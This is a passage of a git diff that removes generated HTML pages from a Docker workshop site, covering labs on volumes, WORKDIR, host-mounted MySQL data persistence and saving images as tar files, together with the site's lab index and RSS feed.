-bin    dev    etc    home   lib    media  mnt    myvol  opt    proc   root   run    sbin   srv    sys    tmp    usr    var
-/ # cat myvol/greeting 
-hello world
-

check it out all mounted volumes

-
docker volume ls
-

output

-
Dockerfile git:(main) ✗ docker volume ls
-DRIVER    VOLUME NAME
-local     myvolsrc
-

run container

-
docker  run --rm -d --name vol-demo sangam14/vol-dockerfile tail -f /dev/null
-76a5bfedc0a43bde7f2788fec5e5aafaa94854f16f960ed736ba598b80560f8d
-
docker ps
-CONTAINER ID   IMAGE                       COMMAND                  CREATED              STATUS              PORTS     NAMES
-76a5bfedc0a4   sangam14/vol-dockerfile     "tail -f /dev/null"      About a minute ago   Up About a minute             vol-demo
-

stop running container

-
docker container stop vol-demo
-vol-demo
-

lets run container

-
docker  run -d --name vol-demo --mount source=myvolsrc,target=/myvol  sangam14/vol-dockerfile  tail -f /dev/null
-

exec into running container

-
 Dockerfile git:(main) ✗ docker container exec vol-demo ls -l /myvol
-total 4
--rw-r--r--    1 root     root            12 Mar  2 19:47 greeting
-

check it out mount point using docker inspect

-

-docker volume inspect myvolsrc -f "{{.Mountpoint}}"
-

stop running container

-
docker container stop vol-demo
-

remove container

-
docker container rm vol-demo
-

remove volume

-
docker volume rm myvolsrc
-

verify once

-
docker volume ls
-docker container ls
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/dockerfile-lab-workdir-instruction/index.html b/public/docker/dockerfile-lab-workdir-instruction/index.html deleted file mode 100644 index d35618a..0000000 --- a/public/docker/dockerfile-lab-workdir-instruction/index.html +++ /dev/null @@ -1,803 +0,0 @@ - - - - - - - - -Dockerfile Lab - WORKDIR instruction · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dockerfile Lab - WORKDIR instruction

-
-
- - -

The WORKDIR command is used to define the working directory of a Docker container at any given time. The command is specified in the Dockerfile.

-

Any RUN, CMD, ADD, COPY, or ENTRYPOINT command will be executed in the specified working directory.

-

WORKDIR instruction Dockerfile for Docker Quick Start

-
FROM ubuntu
-WORKDIR /var/www/html
-RUN apt-get update && apt-get install -y nginx
-COPY index.html .
-ENTRYPOINT ["nginx", "-g", "daemon off;"]
-

build dockerfile

-
docker build -t sangam14/workdir-dockerfile  -f dockerfile.workdir .
-

run docker container

-
docker run -p 80:80 sangam14/workdir-dockerfile 
-

output

-

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/helper/index.html b/public/docker/helper/index.html deleted file mode 100644 index d3f7ce0..0000000 --- a/public/docker/helper/index.html +++ /dev/null @@ -1,1329 +0,0 @@ - - - - - - - - -The Ultimate Docker Workshop Tracks · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

The Ultimate Docker Workshop Tracks

-
-
- - -

Table of Content

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TitleLink
1.Pre-requisit for this labLab
2.Docker Hello World ExampleLab
3.Docker Image Filtering
4.Images and Container As Tar fileLab
5.Push first Nginx Web app To DockerHubLab
6.Build a Base Image from ScratchLab
7.Dockerfile Lab - ADD instructionLab
8.Dockerfile Lab - COPY instructionLab
9.Dockerfile Lab - CMD instructionLab
10.Dockerfile Lab - Entrypoint instructionLab
11.Dockerfile Lab - WORKDIR instructionLab
12.Dockerfile Lab - RUN instructionLab
13.Dockerfile Lab - ARG instructionLab
14.Dockerfile Lab - Volume instructionLab
15.Dockerfile Lab - USER instructionLab
16.Dockerfile Lab - HEALTHCHECK instructionLab
17.Dockerfile Lab - ENV instructionLab
18.Dockerfile Lab - ONBUILD instructionLab
19.Running multiple docker containers from CLILab
20.Write First Docker Compose fileLab
21.Docker Compose with Volume MountLab
22.Build Own Dockerfile and Docker Compose with Custom configurationLab
23.Simple php apache and database using docker composeLab
24.Host Volume Mount - Data persistentenceLab
25.Named Volume Mount - Data persistentenceLab
26.Docker Compose CLI - Build CommandLab
27.Docker Compose CLI - Config CommandLab
28.Docker Compose CLI - CP CommandLab
29.Docker Compose CLI - Create CommandLab
30.Docker Compose CLI - Down CommandLab
31.Docker Compose CLI - Events CommandLab
32.Docker Compose CLI - Exec CommandLab
33.Docker Compose CLI - Images CommandLab
34.Docker Compose CLI - Kill CommandLab
35.Docker Compose CLI - logs CommandLab
36.Docker Compose CLI - ls CommandLab
37.Docker Compose CLI - Pause/unpause CommandLab
38.Docker Compose CLI - Port CommandLab
39.Docker Compose CLI - ps CommandLab
40.Docker Compose CLI - pull CommandLab
41.Docker Compose CLI - push CommandLab
42.Docker Compose CLI - restart CommandLab
43.Docker Compose CLI - rm CommandLab
44.Docker Compose CLI - run CommandLab
45.Setup local networkLab
46.Setup Remote networkLab
48.Newtorking in Docker ComposeLab
49.Newtorking in Docker Compose with ngnixLab
50.Docker Wordpress ExampleLab
-

Todo List

-
    -
  1. -
  2. -
  3. -
-

What next

- - -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/host-volume-mount-data-persistentence/index.html b/public/docker/host-volume-mount-data-persistentence/index.html deleted file mode 100644 index faed553..0000000 --- a/public/docker/host-volume-mount-data-persistentence/index.html +++ /dev/null @@ -1,1074 +0,0 @@ - - - - - - - - -Host Volume Mount - Data persistentence · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Host Volume Mount - Data persistentence

-
-
- - -

we already used database with web app but docker containers are ephermal. this means they are losing data once removed or re-started so somewhere need to find data persistent

-

create docker-compose.yml using following content

-
version: '3'
-services:
-  db:
-    image: mysql:latest
-    restart: always
-    container_name: myphpapp-db
-    environment:
-       MYSQL_ROOT_PASSWORD: somepass
-       MYSQL_DATABASE: somedatabase
-  dbclient:
-    image: mysql:latest
-    depends_on:
-      - db
-    command: mysql -uroot -psomepass -hdb
-

MYSQL_DATABASE will create an empty database with the name “somedatabase” at first

-

depends_on waits for the container to start on the other containers

-

run the command

-
5-DC-Host-Vol-mount git:(main) ✗ docker compose up -d 
-[+] Running 3/3
- ⠿ Network 5-dc-host-vol-mount_default       Created                       0.1s
- ⠿ Container myphpapp-db                     St...                         0.3s
- ⠿ Container 5-dc-host-vol-mount-dbclient-1  Started                       0.5s
-

check docker compose process

-
5-DC-Host-Vol-mount git:(main) ✗ docker compose ps
-NAME                IMAGE               COMMAND                  SERVICE             CREATED              STATUS              PORTS
-myphpapp-db         mysql:latest        "docker-entrypoint.s…"   db                  About a minute ago   Up About a minute   3306/tcp, 33060/tcp
-

open mariadb shell

-
 docker compose run --rm dbclient
-[+] Running 1/0
- ⠿ Container myphpapp-db  Running                                                                                                          0.0s
-mysql: [Warning] Using a password on the command line interface can be insecure.
-Welcome to the MySQL monitor.  Commands end with ; or \g.
-Your MySQL connection id is 8
-Server version: 8.0.32 MySQL Community Server - GPL
-
-Copyright (c) 2000, 2023, Oracle and/or its affiliates.
-
-Oracle is a registered trademark of Oracle Corporation and/or its
-affiliates. Other names may be trademarks of their respective
-owners.
-
-Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
-mysql>
-

enter following SQL queries

-
mysql> USE somedatabase;
-Database changed
-mysql> SHOW TABLES;
-Empty set (0.01 sec)
-

lets create table

-
mysql> CREATE TABLE mytable (id INT) ;
-Query OK, 0 rows affected (0.04 sec)
-
-mysql> SHOW TABLES;
-+------------------------+
-| Tables_in_somedatabase |
-+------------------------+
-| mytable                |
-+------------------------+
-1 row in set (0.01 sec)
-mysql> exit  
-

stop and remove container

-
docker-compose stop
-[+] Running 2/2
- ⠿ Container 5-dc-host-vol-mount-dbclient-1  Stopped                                                                                       0.0s
- ⠿ Container myphpapp-db                     Stopped                                                                                       1.8s
-5-DC-Host-Vol-mount git:(main) ✗ docker-compose rm  
-? Going to remove 5-dc-host-vol-mount-dbclient-1, myphpapp-db Yes
-[+] Running 2/0
- ⠿ Container myphpapp-db                     Removed                                                                                       0.0s
- ⠿ Container 5-dc-host-vol-mount-dbclient-1  Removed                                                                                       0.0s
-➜  5-DC-Host-Vol-mount git:(main) ✗ 
-

lets make data persistent even we remove container ? with volumesa nd a host mounded data directory

-
mkdir data 
-

lets update docker-compose.yml

-
version: '3'
-
-services:
-  db:
-    image: mysql:latest
-    restart: always
-    container_name: myphpapp-db
-    environment:
-       MYSQL_ROOT_PASSWORD: somepass
-       MYSQL_DATABASE: somedatabase
-    volumes:  
-      - ./data:/var/lib/mysql
-
-  dbclient:
-    image: mysql:latest
-    depends_on:
-      - db
-    command: mysql -uroot -psomepass -hdb
-

restart docker compose

-

-docker-compose up -d   
-[+] Running 2/2
- ⠿ Container myphpapp-db                     Started                                                                                       0.4s
- ⠿ Container 5-dc-host-vol-mount-dbclient-1  Started    
-                                                                                    0.7s
-

recreate table

-
➜  5-DC-Host-Vol-mount git:(main) ✗ docker compose run --rm dbclient
-[+] Running 1/0
- ⠿ Container myphpapp-db  Running                                                                                                          0.0s
-mysql: [Warning] Using a password on the command line interface can be insecure.
-Welcome to the MySQL monitor.  Commands end with ; or \g.
-Your MySQL connection id is 8
-Server version: 8.0.32 MySQL Community Server - GPL
-
-Copyright (c) 2000, 2023, Oracle and/or its affiliates.
-
-Oracle is a registered trademark of Oracle Corporation and/or its
-affiliates. Other names may be trademarks of their respective
-owners.
-
-Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
-
-mysql> USE somedatabase;
-Database changed
-mysql> SHOW TABLES;
-Empty set (0.01 sec)
-
-CREATE TABLE mytable (id INT) ;
-Query OK, 0 rows affected (0.04 sec)
-
-mysql> SHOW TABLES;
-+------------------------+
-| Tables_in_somedatabase |
-+------------------------+
-| mytable                |
-+------------------------+
-1 row in set (0.00 sec)
-
-mysql> exit 
-

stop and remove the container

-
5-DC-Host-Vol-mount git:(main) ✗ docker compose stop 
-[+] Running 2/2
- ⠿ Container 5-dc-host-vol-mount-dbclient-1  Stopped                                                                                       0.0s
- ⠿ Container myphpapp-db                     Stopped                                                                                       2.0s
-➜  5-DC-Host-Vol-mount git:(main) ✗ docker compose rm
-? Going to remove 5-dc-host-vol-mount-dbclient-1, myphpapp-db Yes
-[+] Running 2/0
- ⠿ Container myphpapp-db                     Removed                                                                                       0.0s
- ⠿ Container 5-dc-host-vol-mount-dbclient-1  Removed                                                                                       0.0s
-➜  5-DC-Host-Vol-mount git:(main) ✗ 
-

lets start db container again

-
docker compose run --rm dbclient
-[+] Running 1/0
- ⠿ Container myphpapp-db  Running                                                                                                          0.0s
-mysql: [Warning] Using a password on the command line interface can be insecure.
-Welcome to the MySQL monitor.  Commands end with ; or \g.
-Your MySQL connection id is 8
-Server version: 8.0.32 MySQL Community Server - GPL
-
-Copyright (c) 2000, 2023, Oracle and/or its affiliates.
-
-Oracle is a registered trademark of Oracle Corporation and/or its
-affiliates. Other names may be trademarks of their respective
-owners.
-
-Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
-
-mysql>
-

lets data is persistent or not

-
USE somedatabase;
-Reading table information for completion of table and column names
-You can turn off this feature to get a quicker startup with -A
-
-Database changed
-mysql> SHOW TABLES;
-+------------------------+
-| Tables_in_somedatabase |
-+------------------------+
-| mytable                |
-+------------------------+
-1 row in set (0.00 sec)
-
-mysql> exit 
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/images-and-container-as-tar-file/index.html b/public/docker/images-and-container-as-tar-file/index.html deleted file mode 100644 index dc0d221..0000000 --- a/public/docker/images-and-container-as-tar-file/index.html +++ /dev/null @@ -1,771 +0,0 @@ - - - - - - - - -Images and Container As Tar file · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Images and Container As Tar file

-
-
- - -

Images and Container as Tarfile

-

Docker provides the ability to save images and containers as tar files, which can be useful for sharing with others or transferring between systems. Here’s how to do it:

-
docker pull nginx:latest
-latest: Pulling from library/nginx
-5731adb3a4ab: Pull complete 
-8785c8f663d3: Pull complete 
-023b6bd393e4: Pull complete 
-fd8f86b165b0: Pull complete 
-8f41e7c12976: Pull complete 
-3b5338ea7d08: Pull complete 
-Digest: sha256:6650513efd1d27c1f8a5351cbd33edf85cc7e0d9d0fcb4ffb23d8fa89b601ba8
-Status: Downloaded newer image for nginx:latest
-docker.io/library/nginx:latest
-

Saving an Image as a Tar File

-

To save a Docker image as a tar file, use the docker save command with the image name and output file name:

-
dockerworkshop git:(main) ✗ docker container run -it ubuntu:14.04 bash
-Unable to find image 'ubuntu:14.04' locally
-14.04: Pulling from library/ubuntu
-d1a5a1e51f25: Pull complete 
-75f8eea31a63: Pull complete 
-a72d031efbfb: Pull complete 
-Digest: sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30
-Status: Downloaded newer image for ubuntu:14.04
-root@906d9f72e9fe:/# exit
-exit
-
➜  dockerworkshop git:(main) ✗ docker ps
-CONTAINER ID   IMAGE                       COMMAND                  CREATED             STATUS             PORTS     NAMES
-1bf183201392   ubuntu:14.04                "bash"                   15 seconds ago      Up 14 seconds                loving_ride
-
docker export 1b  > os.tar
-docker export loving_ride  > os1.tar
-dockerworkshop git:(main) ✗ ls
-os.tar   os1.tar
-

docker load is a command used to load images or container archives that were previously saved using the docker save command.

-

When you use the docker save command, it creates a tar archive of one or more Docker images and/or containers. You can then use the docker load command to load this tar archive back into Docker.

-

The syntax for using the docker load command is as follows:

-
➜  dockerworkshop git:(main) ✗ docker save -o os.tar ubuntu  
-➜  dockerworkshop git:(main) ✗ docker load < os.tar            
-Loaded image: ubuntu:14.04
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docker/index.html b/public/docker/index.html deleted file mode 100644 index d812069..0000000 --- a/public/docker/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - https://kubedaily.com/docker/overview/ - - - - - - diff --git a/public/docker/index.xml b/public/docker/index.xml deleted file mode 100644 index 4debaa6..0000000 --- a/public/docker/index.xml +++ /dev/null @@ -1,407 +0,0 @@ - - - - Dockers on kubedaily - https://kubedaily.com/docker/ - Recent content in Dockers on kubedaily - Hugo -- gohugo.io - en - - - The Ultimate Docker Workshop Tracks - https://kubedaily.com/docker/helper/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/helper/ - Table of Content Title Link 1.Pre-requisit for this lab Lab 2.Docker Hello World Example Lab 3.Docker Image Filtering 4.Images and Container As Tar file Lab 5.Push first Nginx Web app To DockerHub Lab 6.Build a Base Image from Scratch Lab 7.Dockerfile Lab - ADD instruction Lab 8.Dockerfile Lab - COPY instruction Lab 9.Dockerfile Lab - CMD instruction Lab 10.Dockerfile Lab - Entrypoint instruction Lab 11.Dockerfile Lab - WORKDIR instruction Lab 12. - - - Build a Base Image from Scratch - https://kubedaily.com/docker/build-a-base-image-from-scratch/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/build-a-base-image-from-scratch/ - write simple c program #include&lt;stdio.h&gt; int main() { printf(&#34;dockerworkshop&#34;); } Compile C program gcc -o hello hello.c ✗ ./hello dockerworkshop% create dockerfile with following content : FROM scratch ADD hello / CMD [&#34;/hello&#34;] Build Dockerfile without any base image Dockerfile git:(main) ✗ docker build -t sangam14/hello-scratch -f dockerfile.hello . [+] Building 0.1s (5/5) FINISHED =&gt; [internal] load build definition from dockerfile.hello 0.0s =&gt; =&gt; transferring dockerfile: 87B 0.0s =&gt; [internal] load . - - - Build Own Dockerfile and Docker Compose with Custom configuration - https://kubedaily.com/docker/build-own-dockerfile-and-docker-compose-with-custom-configuration/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/build-own-dockerfile-and-docker-compose-with-custom-configuration/ - Build Own Dockerfile and Docker Compose with Custom configuration crate docker compose file with following content -version: &#39;3&#39; services: phpapp: build: context: ./ dockerfile: Dockerfile image: phpapp:123 ports: - &#34;8080:80&#34; volumes: - &#34;./:/var/www/html&#34; container_name: my-php-app here using dockerfile to generate an image mount folder inside your directory automatically create index.php with following content &lt;?php phpinfo(); build docker compose file 3-DC-Custom git:(main) ✗ docker compose up [+] Running 0/1 ⠿ phpapp Warning 3. - - - Docker Compose CLI - Build Command - https://kubedaily.com/docker/docker-compose-cli-build-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-build-command/ - Docker Compose Build Command docker compose build [OPTIONS] [SERVICE...] If you change a service’s Dockerfile or the contents of its build directory, run docker compose build to rebuild it. ---build-arg Set build-time variables for services. --no-cache Do not use cache when building the image --progress auto Set type of progress output (auto, tty, plain, quiet) . --pull Always attempt to pull a newer version of the image.. --push Push service images. - - - Docker Compose CLI - Config Command - https://kubedaily.com/docker/docker-compose-cli-config-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-config-command/ - create dockerfile with following content # syntax=docker/dockerfile:1 FROM python:3.7-alpine WORKDIR /code ENV FLASK_APP=app.py ENV FLASK_RUN_HOST=0.0.0.0 RUN apk add --no-cache gcc musl-dev linux-headers COPY requirements.txt requirements.txt RUN pip install -r requirements.txt EXPOSE 5000 COPY . . CMD [&#34;flask&#34;, &#34;run&#34;] create app.py with following content import time import redis from flask import Flask app = Flask(__name__) cache = redis.Redis(host=&#39;redis&#39;, port=6379) def get_hit_count(): retries = 5 while True: try: return cache.incr(&#39;hits&#39;) except redis.exceptions.ConnectionError as exc: if retries == 0: raise exc retries -= 1 time. - - - Docker Compose CLI - CP Command - https://kubedaily.com/docker/docker-compose-cli-cp-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-cp-command/ - Copy files/folders between a service container and the local filesystem # Syntax to Copy from Container to Docker Host docker cp {options} CONTAINER:SRC_PATH DEST_PATH # Syntax to Copy from Docker Host to Container docker cp {options} SRC_PATH CONTAINER:DEST_PATH lets run ngnix container version: &#39;3&#39; services: web: image: nginx:latest run docker compose up docker compose -f docker-compose-ngnix.yml up check running container ➜ dockerworkshop git:(main) ✗ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 008940fdbed8 nginx:latest &#34;/docker-entrypoint. - - - Docker Compose CLI - Create Command - https://kubedaily.com/docker/docker-compose-cli-create-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-create-command/ - create docker-compose.yml with following content version: &#34;3.9&#34; services: web: build: . ports: - &#34;8000:5000&#34; redis: image: &#34;redis:alpine&#34; Creates containers for a service. ➜ 7-DC-CLI git:(main) ✗ docker compose create [+] Running 7/7 ⠿ redis Pulled 6.1s ⠿ af6eaf76a39c Already exists 0.0s ⠿ 5015c79ed515 Pull complete 0.9s ⠿ 2ca28624189f Pull complete 1.0s ⠿ 4691452befb1 Pull complete 1.6s ⠿ 746fa87aff8c Pull complete 2.1s ⠿ b8496ad2d107 Pull complete 2.2s WARN[0006] Found orphan containers ([7-dc-cli-client-1]) for this project. - - - Docker Compose CLI - Down Command - https://kubedaily.com/docker/docker-compose-cli-down-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-down-command/ - create docker-compose.yml with following content version: &#34;3.9&#34; services: web: build: . ports: - &#34;8000:5000&#34; redis: image: &#34;redis:alpine&#34; Create docker compose up docker compose up WARN[0000] Found orphan containers ([7-dc-cli-client-1]) for this project. If you removed or renamed this service in your compose file, you can run this command with the --remove-orphans flag to clean it up. Attaching to 7-dc-cli-redis-1, 7-dc-cli-web-1 7-dc-cli-redis-1 | 1:C 04 Mar 2023 14:23:46.156 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo 7-dc-cli-redis-1 | 1:C 04 Mar 2023 14:23:46. - - - Docker Compose CLI - Events Command - https://kubedaily.com/docker/docker-compose-cli-events-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-events-command/ - here is sample voting app cat docker-compose.yml # version is now using &#34;compose spec&#34; # v2 and v3 are now combined! # docker-compose v1.27+ required services: vote: build: ./vote # use python rather than gunicorn for local dev command: python app.py depends_on: redis: condition: service_healthy healthcheck: test: [&#34;CMD&#34;, &#34;curl&#34;, &#34;-f&#34;, &#34;http://localhost&#34;] interval: 15s timeout: 5s retries: 3 start_period: 10s volumes: - ./vote:/app ports: - &#34;5000:80&#34; networks: - front-tier - back-tier result: build: . - - - Docker Compose CLI - Exec Command - https://kubedaily.com/docker/docker-compose-cli-exec-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-exec-command/ - Docker Compose Exec into result service docker compose exec result sh # ls Dockerfile docker-compose.test.yml package-lock.json package.json server.js tests views # cat docker-compose.test.yml version: &#39;2&#39; services: sut: build: ./tests/ depends_on: - vote - result - worker networks: - front-tier vote: build: ../vote/ ports: [&#34;80&#34;] depends_on: - redis - db networks: - front-tier - back-tier result: build: . ports: [&#34;80&#34;] depends_on: - redis - db networks: - front-tier - back-tier worker: build: . - - - Docker Compose CLI - Images Command - https://kubedaily.com/docker/docker-compose-cli-images-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-images-command/ - example-voting-app git:(main) docker compose images CONTAINER REPOSITORY TAG IMAGE ID SIZE example-voting-app-db-1 postgres 15-alpine 68d4a8d9d3d9 241MB example-voting-app-redis-1 redis alpine 1339d05b97a4 30.4MB example-voting-app-result-1 example-voting-app-result latest 223b94fc00ae 254MB example-voting-app-vote-1 example-voting-app-vote latest 5c1cf62b540c 135MB example-voting-app-worker-1 example-voting-app-worker latest 8f82fda1dae8 195MB - - - Docker Compose CLI - Kill Command - https://kubedaily.com/docker/docker-compose-cli-kill-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-kill-command/ - Forces running containers to stop by sending a SIGKILL signal. Optionally the signal can be passed : example-voting-app git:(main) docker-compose kill -s SIGINT [+] Running 4/0 ⠿ Container example-voting-app-redis-1 Killed 0.0s ⠿ Container example-voting-app-worker-1 Killed 0.0s ⠿ Container example-voting-app-db-1 Killed 0.0s ⠿ Container example-voting-app-result-1 Killed 0.0s - - - Docker Compose CLI - logs Command - https://kubedaily.com/docker/docker-compose-cli-logs-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-logs-command/ - View output from containers ➜ example-voting-app git:(main) docker-compose logs example-voting-app-worker-1 | Connected to db example-voting-app-result-1 | [nodemon] 2.0.21 example-voting-app-worker-1 | Found redis at 172.20.0.2 example-voting-app-worker-1 | Connecting to redis example-voting-app-result-1 | [nodemon] to restart at any time, enter `rs` example-voting-app-result-1 | [nodemon] watching path(s): *.* example-voting-app-result-1 | [nodemon] watching extensions: js,mjs,json example-voting-app-result-1 | [nodemon] starting `node server.js` example-voting-app-result-1 | Sat, 04 Mar 2023 18:00:16 GMT body-parser deprecated bodyParser: use individual json/urlencoded middlewares at server. - - - Docker Compose CLI - ls Command - https://kubedaily.com/docker/docker-compose-cli-ls-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-ls-command/ - List running compose projects docker-compose ls NAME STATUS CONFIG FILES example-voting-app running(4) /Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/docker-compose.yml ➜ example-voting-app git:(main) - - - Docker Compose CLI - Pause unpause Command - https://kubedaily.com/docker/docker-compose-cli-pause-unpause-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-pause-unpause-command/ - example-voting-app git:(main) docker compose pause [+] Running 4/0 ⠿ Container example-voting-app-db-1 Paused 0.0s ⠿ Container example-voting-app-redis-1 Paused 0.0s ⠿ Container example-voting-app-worker-1 Paused 0.0s ⠿ Container example-voting-app-result-1 Paused 0.0s ➜ example-voting-app git:(main) Pauses running containers of a service. They can be unpaused with docker compose unpause. docker compose unpause [+] Running 4/0 ⠿ Container example-voting-app-worker-1 Unpaused 0.0s ⠿ Container example-voting-app-redis-1 Unpaused 0.0s ⠿ Container example-voting-app-result-1 Unpaused 0.0s ⠿ Container example-voting-app-db-1 Unpaused 0. - - - Docker Compose CLI - Port Command - https://kubedaily.com/docker/docker-compose-cli-port-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-port-command/ - Print the public port for a port binding. docker compose port result 80 0.0.0.0:5001 ➜ example-voting-app git:(main) - - - Docker Compose CLI - ps Command - https://kubedaily.com/docker/docker-compose-cli-ps-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-ps-command/ - List containers docker compose ps NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS example-voting-app-db-1 postgres:15-alpine &#34;docker-entrypoint.s…&#34; db 4 hours ago Up About an hour (healthy) 5432/tcp example-voting-app-redis-1 redis:alpine &#34;docker-entrypoint.s…&#34; redis 4 hours ago Up About an hour (healthy) 6379/tcp example-voting-app-result-1 example-voting-app-result &#34;nodemon server.js&#34; result About an hour ago Up About an hour 0.0.0.0:5858-&gt;5858/tcp, 0.0.0.0:5001-&gt;80/tcp example-voting-app-worker-1 example-voting-app-worker &#34;dotnet Worker.dll&#34; worker About an hour ago Up About an hour ➜ example-voting-app git:(main) - - - Docker Compose CLI - pull Command - https://kubedaily.com/docker/docker-compose-cli-pull-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-pull-command/ - Pull service images example-voting-app git:(main) docker compose pull [+] Running 5/5 ⠿ vote Skipped - No image to be pulled 0.0s ⠿ result Skipped - No image to be pulled 0.0s ⠿ worker Skipped - No image to be pulled 0.0s ⠿ redis Pulled 2.8s ⠿ db Pulled 2.8s - - - Docker Compose CLI - push Command - https://kubedaily.com/docker/docker-compose-cli-push-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-push-command/ - Push service images services: service1: build: . image: localhost:5000/yourimage ## goes to local registry service2: build: . image: your-dockerid/yourimage ## goes to your repository on Docker Hub - - - Docker Compose CLI - restart Command - https://kubedaily.com/docker/docker-compose-cli-restart-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-restart-command/ - restart service images docker compose restart [+] Running 5/5 ⠿ Container example-voting-app-db-1 Started 0.7s ⠿ Container example-voting-app-redis-1 Started 0.7s ⠿ Container example-voting-app-result-1 Started 0.6s ⠿ Container example-voting-app-vote-1 Started 0.5s ⠿ Container example-voting-app-worker-1 Started 0.4s ➜ example-voting-app git:(main) - - - Docker Compose CLI - rm Command - https://kubedaily.com/docker/docker-compose-cli-rm-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-rm-command/ - Removes stopped service containers ➜ example-voting-app git:(main) docker compose stop [+] Running 5/5 ⠿ Container example-voting-app-vote-1 Stopped 0.3s ⠿ Container example-voting-app-result-1 Stopped 0.3s ⠿ Container example-voting-app-worker-1 Stopped 0.1s ⠿ Container example-voting-app-db-1 